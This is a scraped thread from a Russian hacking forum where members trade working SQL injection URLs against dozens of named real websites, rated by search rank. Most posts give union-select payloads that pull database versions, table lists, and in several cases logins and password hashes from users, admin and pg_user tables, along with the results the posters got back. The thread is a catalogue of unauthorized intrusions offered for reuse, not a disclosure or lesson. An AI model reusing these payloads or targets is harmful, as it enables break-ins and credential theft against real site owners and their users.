HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #12601  
Старый 18.07.2010, 12:46
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

4.1.24-MAX-LOGRONVUS@97.74.144.100RONVUS

_http://pronv.us/catalog.php?id_cat=-14+union+select+1,2,concat_ws(0x3a,version(),user( ),database()),4,5,6,7,8,9,10--&sm=14

PR 1

---

4.1.22-standard-log:356371_artlounge@172.16.11.28:356371_artlounge

_http://artlounge.net/ea_inside.php?id_cat=-7+union+select+1,concat_ws(0x3a,version(),user(),d atabase()),3--&id_item=64

PR 3

Moder : используй кнопку edit
 
Ответить с цитированием

  #12602  
Старый 18.07.2010, 19:21
-PRIVAT-
Участник форума
Регистрация: 17.04.2010
Сообщений: 221
Провел на форуме:
344917

Репутация: 17
По умолчанию

http://www.postbranding.ru/book.php?id=-3+union+select+1,2,concat_ws(0x3a,version(),@@vers ion_compile_os,user()) ,4,5,6 --

ТИЦ-10

PR-3


http://www.law.kuleuven.be/icri/people.php?id=-127+union+select+1,group_concat%28table_name%29,3, 4,5,8,10,1,2+from+information_schema.tables%20--

ТИЦ-325

PR-8


http://www.mediagroup.com.ua/promo.php?id=-65+union+select+1,concat_ws%280x3a,email,pwd%29,3, 4+from+partners --

ТИЦ-50

PR-3


http://redcarpet.daylife.com/people.php?id=-204000000000186367+union+select+1,2 --

ТИЦ-325

PR-7


Боян

PR-4

http://cathedralhillpress.com/book.php?id=-4+union+select+1,2,3,4,5 --

PR-3

http://www.icss.ac.ru/books/book.php?id=-47+union+select+1,2,3,4,5,6,7,8,9 --

ТИЦ-375

PR-5


Боян

PR-6

Konqi : провер антибоян-oм прежде чем постить.
 
Ответить с цитированием

  #12603  
Старый 19.07.2010, 23:41
KENT1994
Участник форума
Регистрация: 25.09.2009
Сообщений: 147
Провел на форуме:
1768674

Репутация: 65
По умолчанию

сегодня почитал книгу о sql и решил попробовать на деле...

Код:
http://www.ccfrussia.ru/index.php?mod=n_article&n_id=304 +union+select 1,2,3,4,%String_Col%,6,7,8,9--
тИЦ — 80

PR — 5

Host IP: 88.198.48.135

Web Server: Apache/2.2.13 (Fedora)

Powered-by: PHP/5.2.9

DB Server: MySQL >=5

Current DB: cc
 
Ответить с цитированием

  #12604  
Старый 19.07.2010, 23:50
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


По умолчанию

шоп

http://bb.rusbic.ru/?tc=16001&sp=0805&ii=3276+and+1=0+union+select+1,n ull,null,null,cast(version() as int),null,null,null,null,null,null,null,null,null, null,null,null,null,null

http://bb.rusbic.ru/?tc=16001&sp=0805&ii=3276+and+1=0+union+select+1,n ull,null,null,passwd::int,null,null,null,null,null ,null,null,null,null,null,null,null,null,null+from +pg_user

version() : PostgreSQL 8.3.9 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
 
Ответить с цитированием

  #12605  
Старый 19.07.2010, 23:58
Sams
Участник форума
Регистрация: 18.04.2009
Сообщений: 120
Провел на форуме:
435863

Репутация: 80
По умолчанию

www.aa.org.lv

Код:
http://www.aa.org.lv/news.php?id=-426+union+select+concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user()),2,3,4,5+--+
Version: 4.1.14

User: aaorg@localhost

Database: aaorg

OS: pc-linux-gnu


Users:

Код:
http://www.aa.org.lv/news.php?id=-426+union+select+concat(login,0x3a,passwd),2,3,4,5+from+users+limit+0,1+--+
MD5(Unix)
 
Ответить с цитированием

  #12606  
Старый 20.07.2010, 04:36
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме:
0

Репутация: 0
По умолчанию

Код:
http://www.rdclab.co.za/product.php?id=-1+union+select+1,2,concat_ws(char(58),version(),user(),database(),@@version_compile_os),4,5+--+
Version: 5.0.51a-24+lenny4

User: rdclab@dedi31.cpt2.host-h.net

Database: rdclab

Os: debian-linux-gnu

тИЦ — 10

PR — 2
 
Ответить с цитированием

  #12607  
Старый 20.07.2010, 16:04
-PRIVAT-
Участник форума
Регистрация: 17.04.2010
Сообщений: 221
Провел на форуме:
344917

Репутация: 17
По умолчанию

http://www.longlines.com/wireless/phones/phone.php?id=-15+union+select+1,2,group_concat%28table_name%29,4 ,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 ,0,1+from+information_schema.tables%20--

ТИЦ-10

PR-4
 
Ответить с цитированием

  #12608  
Старый 20.07.2010, 16:29
stan_q
Новичок
Регистрация: 01.08.2009
Сообщений: 12
Провел на форуме:
104424

Репутация: 0
По умолчанию

http://www.collectivelens.com/profile.php?id=-221+union+select+1,2,3,4,5,version(),7,8,9,10,11,1 2,13--

4-й мускул, но присутствует форум phpbb со стандартными таблицами. На форуме 1к юзеров.
 
Ответить с цитированием

  #12609  
Старый 20.07.2010, 18:09
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


По умолчанию

Marine Geoscience Data System

http://www.marine-geo.org/tools/search/download.php?data_uid=267393+union+select+version(),null&client=DataLink

version() : PostgreSQL 8.2.15 on i686-pc-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46)

user : anonymous

current_database() : mgds

//работаем с information_schema

http://www.marine-geo.org/tools/search/download.php?data_uid=267393;select+null,null+from +information_schema.tables;&client=DataLink

//узнаем имена доступных баз (postgres, usap-drupal...)

http://www.marine-geo.org/tools/search/download.php?data_uid=267393;select+datname,null+from+pg_database+limit+1+offset+1;&client=Da taLink

PR-6
 
Ответить с цитированием

  #12610  
Старый 20.07.2010, 18:41
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
По умолчанию

trikota.r52.ru тиц 10

Код:
http://trikota.r52.ru/catalog?action=manufact&manufact=-9+union+select+1,user(),3,4,5,6,7,8,9+--+
menu-asz.hu

Код:
http://menu-asz.hu/main/place.php?action=pizza&placeid=113&accatid=-859+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables+--+
spartak.by пр4 тиц250

Код:
http://www.spartak.by/ru/press/news/-77+union+select+1,2,3,4+--+/
grief.lealta.ru

Код:
http://grief.lealta.ru/index.php?module=News&do=View&nid=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+--+
fuko.ru пр3 тиц10

Код:
http://www.fuko.ru/show_cat2.php?grid=-5778'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+--+
mial.fas.sfu.ca пр5

Код:
http://mial.fas.sfu.ca/newsItem.php?id=-749+union+select+1,concat_ws(0x3a3a,MemberID,FirstName,LastName,Username,Email,Password,SuperUser,HomePageURL),3,4,5,6,7,8+from+Personal+where+SuperUser=1+limit+1,1+--+
surreyfoundation.org пр4 тиц10

Код:
http://www.surreyfoundation.org/showpage.php?id=115+uNIon+sELEct+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+--+
okonremont.ru пр3 тиц80

Код:
http://www.okonremont.ru/page.php?pid=-2'+union+select+1,2,user(),4,5+--+
easy-sun.ru пр2 тиц10

Код:
http://easy-sun.ru/show_cart2.php?&new=-5166'+uNIon+sELEct+1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17+--+&k=1
ortomed.ru пр2

Код:
http://ortomed.ru/osnov.php?idstat=-51'+union+select+user()+--+&idcatstat=17'
samara.pdamarket.ru пр1

Код:
http://samara.pdamarket.ru/show_cat2.php?grid=-65+union+select+user()+from+admin+--+
shop-cctv.ru пр1 тиц10

Код:
http://shop-cctv.ru/osnov.php?idstat=-59'+union+select+user()+--+&idcatstat=22
lvfo.org пр5

Код:
http://www.lvfo.org/index.php?option=com_calendar&show=detail&agid=6'+union+select+1,2,3,4,5+--+
hobby.rin.ru пр3 тиц120

Код:
http://hobby.rin.ru/cgi-bin/print.pl?id=29'+union+select+user+from+mysql.user+--+
daily-calcio.com пр3 тиц10

Код:
http://www.daily-calcio.com/index.php?option=news&task=viewarticle&sid=-27855+uNIon+sELEct+1,2,concat_ws(0x3a3a,username,password),4,5,6,7,8,9+from+users+limit+5,1+--+
rcmedia.town-local.net пр2

Код:
http://rcmedia.town-local.net/software/index.php?option=com_downloads&Itemid=50&func=download&filecatid=-19+union+select+concat_ws(0x3a3a,UseRNamE,password)+from+mos_users+--+
optishop.ru

Код:
http://optishop.ru/group.php?id=-57+uNIoN+sELecT+user(),2,3+--+
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.